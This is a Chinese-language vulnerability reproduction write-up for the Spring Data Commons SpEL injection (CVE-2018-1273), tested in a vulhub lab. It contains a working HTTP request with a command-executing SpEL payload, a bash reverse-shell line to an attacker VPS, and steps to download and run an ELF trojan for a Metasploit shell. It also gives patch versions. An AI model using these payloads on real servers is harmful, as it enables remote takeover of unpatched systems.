0x00 實驗環境
攻擊機:Win 10
靶場:docker拉的vulhub靶場
0x01 影響版本
Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)
0x02 漏洞復現
(1)訪問頁面時,是一個spring常見的錯誤頁面,看到這個頁面離有戲不遠了:
(2)通過掃目錄的方式發現敏感頁面/users:
(3)在輸入一些數據后點擊注冊,並使用burp抓包,修改數據包為如下payload並發送:
POST /users?page=&size=5 HTTP/1.1 Host: x.x.x.x:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 130 Origin: http://x.x.x.x:8080 Connection: close Referer: http://x.x.x.x:8080/users Cookie: settingStore=1630480512401_0 Upgrade-Insecure-Requests: 1 username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("命令")]=&password=&repeatedPassword=
(4)與CVE-2017-8046-Spring Data Rest 遠程命令執行的復現方式有點類似,都是在某個接口存在遠程代碼執行,這里只需要將紅色字體修改為反彈shell的命令即可獲取到服務器的shell:
首先對需要執行的命令執行編碼:
bash -i >& /dev/tcp/vps的ip/7777 0>&1
在網址:
http://www.jackson-t.ca/runtime-exec-payloads.html
(5)然后在自己的vps開啟監聽:
nc -lvp 7777
因為某種原因,這里我的shell彈不過來,遇到真實環境的時候是可以試試這個辦法的,另外我再說個思路。
(6)完整拿shell思路,真實環境,遇到無法彈shell的可以先從自己服務器下載一個exe或者elf的木馬:
wget http://x.x.x.x:7890/test.elf
這個親測是可以下載成功的,然后給shell賦予一個777的執行權限:
chmod 777 ./test.elf
然后我們在msf開啟監聽即可獲取到shell,所以說,沒法直接反彈的話就可以自己找方法拿到shell:
這樣是不是很聰明呢!^-^
0x03 漏洞原理
Spring Data是一個用於簡化數據庫訪問,並支持雲服務的開源框架,Spring Data Commons是Spring Data下所有子項目共享的基礎框架。Spring Data Commons 在2.0.5及以前版本中,存在一處SpEL表達式注入漏洞,攻擊者可以注入惡意SpEL表達式以執行任意命令。
參考這篇文章:https://www.cnblogs.com/hac425/p/9656747.html
0x04 修復建議
即為升級:
2.0.x users should upgrade to 2.0.6
1.13.x users should upgrade to 1.13.11
Older versions should upgrade to a supported branch
0x05 參考文獻
https://github.com/vulhub/vulhub/tree/master/spring/CVE-2018-1273
https://xz.aliyun.com/t/2269
0x06 免責聲明
本漏洞復現文章僅用於學習、工作與興趣愛好,並立志為網絡安全奉獻一份力量,凡是利用本博客相關內容的無良hackers造成的安全事故均與本人無關!